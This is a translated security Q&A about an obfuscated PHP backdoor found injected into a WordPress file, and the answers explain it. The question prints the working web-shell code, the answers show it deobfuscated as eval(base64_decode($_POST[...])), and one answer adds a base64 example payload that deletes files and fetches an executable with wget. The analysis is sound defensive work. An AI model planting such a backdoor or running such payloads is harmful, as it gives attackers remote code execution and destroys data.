El código malicioso se inyecta en un archivo PHP [duplicado]

5

Mi sitio está construido con Wordpress. Un día dejó de funcionar y encontró un error en un archivo PHP.

Cuando descargué ese archivo PHP para ver qué sucedió, mi antivirus (Microsoft Security Essentials) lo detectó como una amenaza y eliminó el archivo descargado.

Afortunadamente, puedo acceder a cPanel de mi hosting y editar el archivo PHP problemático desde allí.

Encontré que al principio del código se adjunta algún código inusual. (Borre el código y todo funciona bien, por ahora)

Aquí está el código:

<?php $lro89 = "t_cepodas6b4";$gmat6 =strtolower( $lro89[10]. $lro89[7]. $lro89[8]. $lro89[3] . $lro89[9].$lro89[11].$lro89[1] . $lro89[6].$lro89[3]. $lro89[2].$lro89[5].$lro89[6].$lro89[3]);$scs1 =strtoupper ( $lro89[1]. $lro89[4]. $lro89[5].$lro89[8]. $lro89[0]); if (isset (${$scs1 }[ 'n3d9ebc' ])) {eval($gmat6( ${ $scs1} ['n3d9ebc' ])) ;}?>

Reformateado para facilitar la lectura:

<?php
$lro89 = "t_cepodas6b4";
$gmat6 =strtolower( $lro89[10]. $lro89[7]. $lro89[8]. $lro89[3] . $lro89[9].$lro89[11].$lro89[1] . $lro89[6].$lro89[3]. $lro89[2].$lro89[5].$lro89[6].$lro89[3]);
$scs1 =strtoupper ( $lro89[1]. $lro89[4]. $lro89[5].$lro89[8]. $lro89[0]);
if (isset (${$scs1 }[ 'n3d9ebc' ])) {
    eval($gmat6( ${ $scs1} ['n3d9ebc' ])) ;
}
?>

Tengo algunas preguntas:

  1. ¿Qué hace el código?
  2. ¿Significa que hay un virus?
  3. ¿Cómo se puede inyectar solo en este archivo?
pregunta topher 22.12.2016 - 07:18
fuente

2 respuestas

10
  

¿Qué hace el código?

<?php
    if (isset($_POST['n3d9ebc'])) {
        eval(base64_decode($_POST['n3d9ebc']));
    }
?>

Realiza Ejecución Remota de Código. Si este fuera un parámetro $_GET[] , significa que un atacante podría hacer esto:

hxxp://yoursite.com/hax.php?n3d9ebc=base64-encoded-malicious-php-code

Pero como es un parámetro $_POST[] , se enviará como parte de un envío. Cuando se establece el parámetro POST, n3d9ebc , intentará evaluar la condición después de que se haya descodificado en base64.

Carga útil de ejemplo:

  

c2hlbGxfZXhlYygicm0gLXJmIH4vaGlsbGFyeS1lbWFpbHM7IHdnZXQgaHR0cHM6Ly93d3cucHV0aW4ucnUvZmFuY3ktYmVhci5leGUgLU8gYXB0MjguZXhlICYmIHN1ZG8gbXYgYXB0MjguZXhlIC91c3Ivc2JpbjsgZWNobyBTSFVUIFVQIFRISVMgSVMgQSBKT0tFIik7

Lo anterior hará ... um ... averiguarlo .

Con solo publicar en su sitio, tienen la Ejecución completa de código remoto en su servidor web. Usted ha sido esencialmente pwned. Es hora de una limpieza y asegúrese de actualizar los componentes vulnerables.

  

¿Significa que hay un virus?

Técnicamente? Pueden hacer lo que quieran en su sitio web. Es básicamente una puerta trasera.

  

¿Cómo se puede inyectar solo en este archivo?

Probablemente tenga algún tipo de vulnerabilidad que les permita escribir en un archivo en el servidor web. Podría ser cualquier número de problemas. Es bastante amplio, pero podría ser chmod 777 , un problema de inclusión remota de archivos o algún otro backdoor o vulnerabilidad de ejecución remota de código.

    
respondido por el Mark Buffalo 22.12.2016 - 07:56
fuente
7

Tu Wordpress se vio comprometida.

  

¿Qué hace el código?

Es un shell web mínimo ligeramente ofuscado. Toma el parámetro POST n3d9ebc , base64 lo descodifica y ejecuta el resultado como código PHP. Esto significa que un atacante podría usar el script para ejecutar código arbitrario en su servidor en cualquier momento.

Ese es el código limpiado:

<?php
if (isset($_POST['n3d9ebc'])) {
    eval(base64_decode($_POST['n3d9ebc']));
}
?>

Los nombres de las variables se ofuscaron para hacer que el script sea más difícil de leer y para evitar la detección automática. La conversión de base64 es otra medida para ayudar contra IDS. Como es un parámetro POST, los comandos del atacante tampoco aparecen en los archivos de registro del servidor.

  

¿Significa que hay un virus?

Significa que alguien obtuvo acceso de escritura a tu Wordpress (tal vez a través de complementos vulnerables) y subió este script como puerta trasera.

  

¿Cómo se puede inyectar solo en este archivo?

Bueno, tiene que ser puesto en alguna parte. Los atacantes a menudo deciden agregar un código malicioso a un archivo existente, ya que es menos perceptible que crear uno nuevo.

  

(Borre el código y todo funciona bien, por ahora)

¿Puedes estar seguro de que no hay más puertas traseras? Si quedó comprometido, la mejor manera de proceder es una instalación nueva.

    
respondido por el Arminius 22.12.2016 - 07:31
fuente

Lea otras preguntas en las etiquetas